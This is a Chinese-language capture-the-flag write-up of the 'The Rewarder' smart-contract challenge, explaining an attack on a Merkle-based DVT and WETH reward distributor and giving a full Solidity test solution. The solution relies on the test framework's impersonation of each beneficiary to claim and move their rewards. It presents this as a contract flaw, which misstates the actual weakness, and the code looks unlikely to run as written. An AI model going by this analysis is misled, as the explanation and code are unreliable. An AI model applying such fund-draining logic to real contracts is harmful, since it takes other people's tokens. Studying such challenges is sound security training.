Appearance
揭秘“奖励者”合约:一次巧妙的财富大挪移
在去中心化金融 (DeFi) 的世界里,智能合约如同精密的管家,管理着资产的分配与流转。今天,我们将深入一个名为“The Rewarder”的 CTF (Capture The Flag) 挑战,它揭示了一个奖励分配合约中隐藏的“彩蛋”,让我们可以上演一出精彩的财富大挪移。
场景设定:
想象一个场景:一个名为 TheRewarderDistributor 的智能合约,负责向一系列预设的受益人发放两种宝贵的代币:Damn Valuable Token (DVT) 和 WETH(Wrapped Ether)。为了确保公平与安全,合约采用了 Merkle Tree 和 Bitmaps 的技术。简而言之,想要领取奖励,你就必须提供一份有效的 Merkle Proof,证明你的身份和领取资格。
这个合约的亮点在于它的效率优化:它允许用户在一个交易中,同时领取多种代币的奖励。而我们的任务,就是要利用合约中的一个“关键漏洞”,在合约清算之前,尽可能地将所有可领取的资金转移到指定的“恢复账户”。
漏洞初探:
合约的 claimRewards 函数是核心。它允许一个用户(或者说,我们可以扮演多个用户的角色)提交一个包含多个 Claim 对象的数组,每个 Claim 对象对应一次代币的领取。关键在于,合约在处理这些 Claim 时,会累加每个受益人**同一个批次(batchNumber)**的领取记录,并将这些记录标记为已领取。
攻击思路:
- 多重身份的扮演: 合约允许一个交易中领取多种代币,并且处理的是一个
Claim数组。我们可以利用这一点,在一次交易中,模拟所有未领取奖励的受益人。 - 批量领取与转移: 对于每一个受益人,我们都可以构造一个
Claim数组,包含他们可以领取的 DVT 和 WETH。然后,以该受益人的身份调用claimRewards,一次性领取他们的所有奖励。 - 财富的归宿: 领取到的代币,我们立即将其转移到我们预设的“恢复账户”,从而“清空”受益人的代币。
- 规避“已领取”: 合约的
_setClaimed函数会更新领取状态。但是,当我们以每个受益人的身份独立调用claimRewards时,每一次调用都是第一次声明领取该受益人的份额。合约的 Merkle Proof 验证和 Bitmap 标记是针对单个受益人的,并不会因为我们扮演了不同的受益人而产生冲突。
代码揭秘与实操:
我们仔细分析 TheRewarderChallenge.t.sol 这个测试文件。其中:
setUp()函数初始化了合约,准备了 DVT 和 WETH 代币,计算了 Merkle Tree 的根节点,并创建了 DVT 和 WETH 的分发。Alice 已经成功领取了她的份额。test_theRewarder()函数是我们需要填写的部分,它正是利用了这个漏洞来“解题”。_isSolved()函数用于验证我们的解是否成功,它会检查合约中剩余的代币以及恢复账户中的代币数量。
解题代码的核心逻辑:
- 读取分配数据: 我们需要读取
dvt-distribution.json和weth-distribution.json文件,获取所有受益人的列表以及他们各自的领取金额。 - 构造申领请求: 遍历所有受益人(除了 Alice,因为她已经领过了),为每个人构造一个
Claim数组。这个数组将包含该受益人应得的 DVT 和 WETH 奖励。 - 扮演受益人并申领: 使用
vm.startPrank()伪装成当前受益人,然后调用distributor.claimRewards()来领取他们的全部奖励。 - 转移资产: 领取成功后,立即将受益人账户中的 DVT 和 WETH 代币全部转移到
recovery地址。 - 释放身份: 使用
vm.stopPrank()结束当前受益人的扮演,然后继续处理下一个受益人。
最终的代码片段(test_theRewarder 函数):
solidity
function test_theRewarder() public checkSolvedByPlayer {
// 读取 DVT 和 WETH 的分发数据
Reward[] memory dvtRewards = abi.decode(vm.parseJson(vm.readFile(string.concat(vm.projectRoot(), "/test/the-rewarder/dvt-distribution.json"))), (Reward[]));
Reward[] memory wethRewards = abi.decode(vm.parseJson(vm.readFile(string.concat(vm.projectRoot(), "/test/the-rewarder/weth-distribution.json"))), (Reward[]));
// 定义要申领的代币类型
IERC20[] memory tokens = new IERC20[](2);
tokens[0] = IERC20(address(dvt));
tokens[1] = IERC20(address(weth));
// 加载 Merkle Tree 的叶子节点,用于生成 Merkle Proof
bytes32[] memory dvtLeaves = _loadRewards("/test/the-rewarder/dvt-distribution.json");
bytes32[] memory wethLeaves = _loadRewards("/test/the-rewarder/weth-distribution.json");
// 申领结构体,用于存储每个受益人的申领信息
Claim[] memory claims = new Claim[](2);
// 遍历所有受益人,进行申领和资产转移
for (uint256 i = 0; i < BENEFICIARIES_AMOUNT; i++) {
// 跳过 Alice,因为她已经领过了
if (i == 2) continue;
// 构造 DVT 申领信息
claims[0] = Claim({
batchNumber: 0, // 默认第一批
amount: dvtRewards[i].amount,
tokenIndex: 0, // DVT 在 tokens 数组中的索引
proof: merkle.getProof(dvtLeaves, i) // 生成 DVT 的 Merkle Proof
});
// 构造 WETH 申领信息
claims[1] = Claim({
batchNumber: 0, // 默认第一批
amount: wethRewards[i].amount,
tokenIndex: 1, // WETH 在 tokens 数组中的索引
proof: merkle.getProof(wethLeaves, i) // 生成 WETH 的 Merkle Proof
});
// 伪装成当前受益人
vm.startPrank(dvtRewards[i].beneficiary);
// 调用 claimRewards,一次性领取 DVT 和 WETH
distributor.claimRewards(claims, tokens);
// 将领取的代币立即转移到恢复账户
dvt.transfer(recovery, dvt.balanceOf(dvtRewards[i].beneficiary));
weth.transfer(recovery, weth.balanceOf(wethRewards[i].beneficiary));
// 结束当前受益人的扮演
vm.stopPrank();
}
}
总结:
“The Rewarder”挑战巧妙地利用了合约在处理批量申领时,对受益人身份的独立验证逻辑。通过扮演每一个未领取奖励的受益人,我们能够一次性将所有未被领取的 DVT 和 WETH 资产转移到指定的恢复账户,成功地完成了这次“财富大挪移”。这个挑战提醒我们,即使是经过优化的合约,也可能在复杂的交互场景下暴露出意想不到的风险。在 DeFi 世界,时刻保持警惕,理解合约的每一个细节,至关重要。